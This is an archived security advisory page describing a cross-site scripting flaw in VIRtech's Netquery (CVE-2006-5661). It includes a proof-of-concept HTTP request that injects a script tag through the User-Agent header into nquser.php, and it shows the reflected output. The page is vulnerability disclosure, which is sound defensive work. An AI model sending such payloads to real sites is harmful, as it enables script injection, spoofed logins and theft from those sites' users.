SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
IT News
Search
SecurityAlert Database
About SecurityAlert
ExploitAlert Database
SecurityReason Research
WLB
WLB Database
Send to WLB
About WLB
Services
Security Audit
Schedule
Prices of services
Contact
RSS
SecurityReason IT News
SecurityAlert
World Laboratory of Bugtraq
ExploitAlert
Apache
PHP
Corporate
Contact
About SecurityReason
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com
Home arrow SecurityAlert Database

Arrow  Topic :

Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech"


Arrow  SecurityAlert : 1807
Arrow  CVE : CVE-2006-5661
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : LegendaryZion (moskito smile net il)
Arrow  Published : 06.11.2006

Arrow  Affected Software : VIRtech



Arrow  Advisory Content :  

·= Security Advisory =·

Issue: Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech"
Discovered Date: 04/10/2006
Author: Tal Argoni, LegendaryZion. [talargoni at gmail.com]
Product Vendor: http://www.virtech.org

Details:

VIRtechs Netquery system is prone to a Cross Site Scripting Vulnerability.
The vulnerability exists in "nquser.php" file, caused by the lack of Input
Validation/Filtering
of quotation and HTML characters in the header parameter "User-Agent:".

Part of the http header:

GET http://www.example.com/netquery/nquser.php HTTP/1.0
User-Agent: <script>alert('User-Agent:')</script>
...

After send the crafted http header, nquser.php prints the following HTML
code:
------------------------------------------------------------------------
------------------------------------------
...
User Agent : <script>alert('User-Agent:')</script><br />
...

Successful exploitation may allow execution of script code. This could
also
be exploited to spoof the entire website's content,
create fake login menu's for all the platform's users, commit Denial Of
Service attacks and more...

Proof Of Concept:

GET http://www.example.com/netquery/nquser.php HTTP/1.0
Accept: */*
Referer: http://www.example.com/
Accept-Language: en-us
Pragma: no-cache
User-Agent: <script>alert()</script>
Host: virtech.org
Proxy-Connection: Keep-Alive
Cookie: e107_tdOffset=32630; e107_tdSetTime=1159974893; e107_tzOffset=420
Content-length: 0

Vulnerable systems:
e107 Edition
Postnuke Edition
Xaraya Edition
Xoops Edition

Not vulnerable systems:
Standalone Edition
Fusion Edition

for more details visit: www.zion-security.com

Thanks,
Tal Argoni, CEH
www.zion-security.com




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...
Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration
PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass
Copyright © SecurityReason.com. All Rights Reserved.